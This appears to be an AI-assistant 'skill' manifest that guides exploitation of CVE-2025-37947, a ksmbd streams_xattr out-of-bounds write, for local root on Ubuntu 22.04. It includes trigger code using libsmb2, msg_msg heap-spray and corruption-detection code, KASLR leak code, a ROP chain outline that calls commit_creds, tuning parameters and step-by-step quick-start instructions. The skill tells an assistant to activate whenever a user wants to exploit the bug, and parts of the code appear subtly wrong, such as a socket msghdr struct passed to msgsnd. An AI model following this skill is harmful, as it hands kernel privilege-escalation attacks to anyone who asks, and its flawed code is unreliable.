Hacktricks-skills ksmbd-cve-2025-37947-exploit

Use this skill when the user needs to understand, analyze, or exploit CVE-2025-37947 (ksmbd streams_xattr OOB write vulnerability) for local privilege escalation on Linux. Trigger this skill for any questions about ksmbd kernel exploitation, the msg_msg + pipe_buffer primitive, heap grooming strategies, or when the user mentions ksmbd, streams_xattr, CVE-2025-37947, or wants to perform kernel LPE on Ubuntu 22.04 with ksmbd enabled.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/binary-exploitation/linux-kernel-exploitation/ksmbd-streams_xattr-oob-write-cve-2025-37947/SKILL.MD
source content

ksmbd CVE-2025-37947 Exploitation Skill

This skill provides comprehensive guidance for understanding and exploiting CVE-2025-37947, a deterministic out-of-bounds write vulnerability in the ksmbd kernel module that enables local privilege escalation on Ubuntu 22.04 LTS (5.15.0-153-generic).

When to Use This Skill

Use this skill when:

  • The user asks about ksmbd vulnerabilities or CVE-2025-37947
  • The user needs to perform kernel LPE on a system with ksmbd enabled
  • The user wants to understand the msg_msg + pipe_buffer exploitation primitive
  • The user needs help with kernel heap grooming or page shaping
  • The user is researching kernel exploitation techniques
  • The user mentions streams_xattr, SMB shares, or ksmbd_vfs_stream_write

Vulnerability Overview

Root Cause

The vulnerability exists in

fs/ksmbd/vfs.c
in the
ksmbd_vfs_stream_write()
function:

static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos, size_t count)
{
    char *stream_buf = NULL, *wbuf;
    size_t size;
    
    size = *pos + count;
    if (size > XATTR_SIZE_MAX) {             // [1] clamp allocation
        size = XATTR_SIZE_MAX;                // 0x10000 (64KB)
        count = (*pos + count) - XATTR_SIZE_MAX; // [1.1] recompute count
    }
    wbuf = kvmalloc(size, GFP_KERNEL | __GFP_ZERO); // [2] alloc 0x10000
    stream_buf = wbuf;
    memcpy(&stream_buf[*pos], buf, count);         // [3] OOB when *pos >= 0x10000
    
    kvfree(stream_buf);
    return err;
}

The bug: When

*pos >= 0x10000
, the destination pointer
&stream_buf[*pos]
is already outside the allocated buffer, but
memcpy
still writes
count
bytes, causing an out-of-bounds write.

Offset Steering

Example calculation:

  • Set
    pos = 0x10018
    ,
    count = 8
  • After clamping:
    count' = (0x10018 + 8) - 0x10000 = 0x20
    (32 bytes)
  • memcpy
    writes 32 bytes starting at
    stream_buf[0x10018]
  • This is 0x18 bytes beyond the 16-page allocation

Prerequisites

System Requirements

  • Ubuntu 22.04 LTS with kernel 5.15.0-153-generic (or similar 5.15.x)
  • ksmbd kernel module loaded
  • SMB share configured with
    vfs objects = streams_xattr
  • User account with access to the SMB share

SMB Share Configuration

# /etc/samba/smb.conf
[share]
    path = /share
    vfs objects = streams_xattr
    writeable = yes
    browseable = yes

Required Tools

  • libsmb2
    library for SMB2/3 communication
  • gcc
    for compiling exploit code
  • bpftrace
    or
    bcc
    for eBPF tracing (optional but recommended)
  • gdb
    for debugging

Exploitation Strategy

High-Level Plan

The exploitation uses the msg_msg + pipe_buffer primitive (adapted from CVE-2021-22555):

  1. Heap Grooming: Pre-shape physical memory so a target lies immediately after the 16-page kvmalloc buffer
  2. Trigger OOB: Use SMB streams write to corrupt adjacent kernel object
  3. Corrupt msg_msg: Overwrite a primary message's next pointer to create shared secondary
  4. Detect Corruption: Scan message queues to find mismatched tags
  5. Use-After-Free: Free real secondary, reclaim with fake msg_msg via UNIX sockets
  6. Infoleak: Abuse m_ts over-read to leak kernel heap pointers (bypass SMAP)
  7. Stabilize: Rebuild consistent fake msg_msg with sk_buff spray
  8. KASLR Bypass: Reclaim UAF with pipe_buffer, leak anon_pipe_buf_ops
  9. ROP Chain: Spray fake pipe_buf_operations with ROP gadget, execute to gain root

Stage 1: Heap Grooming

The

kvmalloc(0x10000, GFP_KERNEL|__GFP_ZERO)
allocates an order-4 (16 contiguous pages) block from the buddy allocator. You must pre-groom memory so a chosen target lies immediately after this block.

# Check per-order freelists and migrate types
sudo cat /proc/pagetypeinfo | sed -n '/Node 0, zone  Normal/,/Node/p'

# Run eBPF tracer to monitor allocations
sudo ./scripts/bpf-tracer.sh

Grooming Strategy:

  1. Spray ~1000-2000 msg_msg objects of ~4096 bytes (fits kmalloc-cg-4k)
  2. Receive some messages to punch holes and encourage adjacency
  3. Exhaust order-3 and order-4 freelists to force allocator to split order-5 block
  4. This creates adjacent order-4 + order-3 pair
  5. Park order-3 slab (kmalloc-cg-4k) directly after stream buffer

Stage 2: Trigger OOB Write

// Minimal reachability via libsmb2
#include <smb2/libsmb2.h>

struct smb2_context *smb2;
struct smb2_tcon *tcon;
struct smb2_fd *fd;

// Authenticate
smb2 = smb2_init("127.0.0.1");
smb2_set_dialect(smb2, SMB2_DIALECT_21);
smb2_session_login(smb2, "username", "password", "workgroup");

// Connect to share
tcon = smb2_tree_connect(smb2, "\\\\127.0.0.1\\share");

// Open file with stream
fd = smb2_open(smb2, tcon, "\\file:stream", O_RDWR);

// Trigger OOB: pos=0x10018, len=8 → 32-byte OOB write
char payload[8] = {0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
smb2_pwrite(fd, payload, 8, 0x0000010018ULL);

// Cleanup
smb2_close(fd);
smb2_tree_disconnect(tcon);
smb2_session_logout(smb2);
smb2_free(smb2);

Stage 3: msg_msg Corruption

// Spray msg_msg objects
#define MSG_SIZE 4096
#define SPRAY_COUNT 1500

int msgq = msgget(IPC_PRIVATE, 0666);
struct msghdr msg;
char *buf = malloc(MSG_SIZE);

for (int i = 0; i < SPRAY_COUNT; i++) {
    msg.msg_base = buf;
    msg.msg_len = MSG_SIZE;
    msg.msg_type = i + 1;  // Tag each message
    msgsnd(msgq, &msg, MSG_SIZE, 0);
}

// Punch holes to create adjacency
for (int i = 0; i < 100; i++) {
    msgrcv(msgq, buf, MSG_SIZE, i + 1, 0);
}

Stage 4: Detect Corruption

// Scan for corrupted message pairs
for (int type = 1; type <= SPRAY_COUNT; type++) {
    struct msghdr msg;
    msg.msg_base = buf;
    msg.msg_len = MSG_SIZE;
    msg.msg_type = type;
    
    ssize_t ret = msgrcv(msgq, &buf, MSG_SIZE, type, MSG_COPY | IPC_NOWAIT);
    if (ret > 0) {
        // Check if m_ts (timestamp field) contains unexpected data
        // This indicates corruption
        if (is_corrupted(buf)) {
            printf("Found corrupted message at type %d\n", type);
            break;
        }
    }
}

Stage 5-9: Full Exploitation

See the full exploit code at: https://github.com/doyensec/KSMBD-CVE-2025-37947/blob/main/CVE-2025-37947.c

Observability and Debugging

eBPF Tracer

Run the provided tracer to monitor kvmalloc addresses:

sudo ./scripts/bpf-tracer.sh

This logs allocation addresses and sizes, helping verify heap grooming:

# Check for 4096-byte allocations (msg_msg objects)
grep 4048 out-4096.txt

# Check for 65536-byte allocations (stream buffer)
grep 65536 out-65536.txt

Kernel Memory Inspection

# View pagetypeinfo for heap state
sudo cat /proc/pagetypeinfo

# Check slab caches
sudo cat /proc/slabinfo | grep -E 'kmalloc-cg-4k|msg_msg'

# Monitor kernel messages
sudo dmesg -w

Key Parameters to Tune

ParameterTypical ValuePurpose
msg_msg spray count1000-2000Populate order-3 slabs
Hole punch count50-150Create adjacency opportunities
OOB offset (pos)0x10018Control OOB write location
OOB length (count)8Results in 32-byte OOB after clamping
UNIX socket spray50-100Reclaim UAF with fake msg_msg
sk_buff spray100-200Stabilize fake msg_msg
pipe_buffer spray20-50Reclaim for KASLR bypass

Bypassing Mitigations

KASLR

Leak

anon_pipe_buf_ops
address via pipe_buffer UAF:

// After pipe_buffer spray and free
// Read from pipe to trigger infoleak
read(pipe_fd, buf, sizeof(buf));

// Extract anon_pipe_buf_ops pointer
anon_pipe_buf_ops = *(uint64_t*)(buf + offset);

// Calculate kernel base
kernel_base = anon_pipe_buf_ops - anon_pipe_buf_ops_offset;

SMEP/SMAP

Execute ROP chain in kernel context via

pipe_buf_operations->release
:

// Fake pipe_buf_operations structure
struct fake_pipe_buf_ops {
    uint64_t release;  // Points to ROP gadget
    uint64_t reserved;
    uint64_t ops[10];
};

// ROP chain for privilege escalation
uint64_t rop_chain[] = {
    gadget_disable_smep_smap,
    gadget_prepare_kernel_cred,
    gadget_commit_creds,
    gadget_ret
};

Hardened Usercopy

Not applicable - the page overflow primitive corrupts non-usercopy kernel fields directly.

Reliability and Tuning

  • Success rate: High once adjacency is achieved (~90%+)
  • Common failures: <10% panics or misses
  • Improvement tips:
    • Overwrite two LSBs of pointer to induce specific collisions
    • Write pattern
      0x0000_0000_0000_0500
      into overlap region
    • Tune spray/free counts based on kernel version
    • Use eBPF tracing to verify heap state before triggering

Safety Warnings

⚠️ IMPORTANT: This skill is for educational and security research purposes only.

  • Only test on systems you own or have explicit authorization to test
  • Kernel exploitation can cause system instability or crashes
  • This vulnerability affects specific kernel versions - check your system
  • Always have backups before testing kernel exploits
  • Consider using VMs for testing

References

Quick Start

To begin exploitation:

  1. Verify system is vulnerable (kernel 5.15.x with ksmbd)
  2. Configure SMB share with streams_xattr
  3. Run heap grooming script
  4. Trigger OOB write via SMB
  5. Execute full exploit chain
  6. Verify root access

Use the provided scripts and adapt parameters based on your system configuration.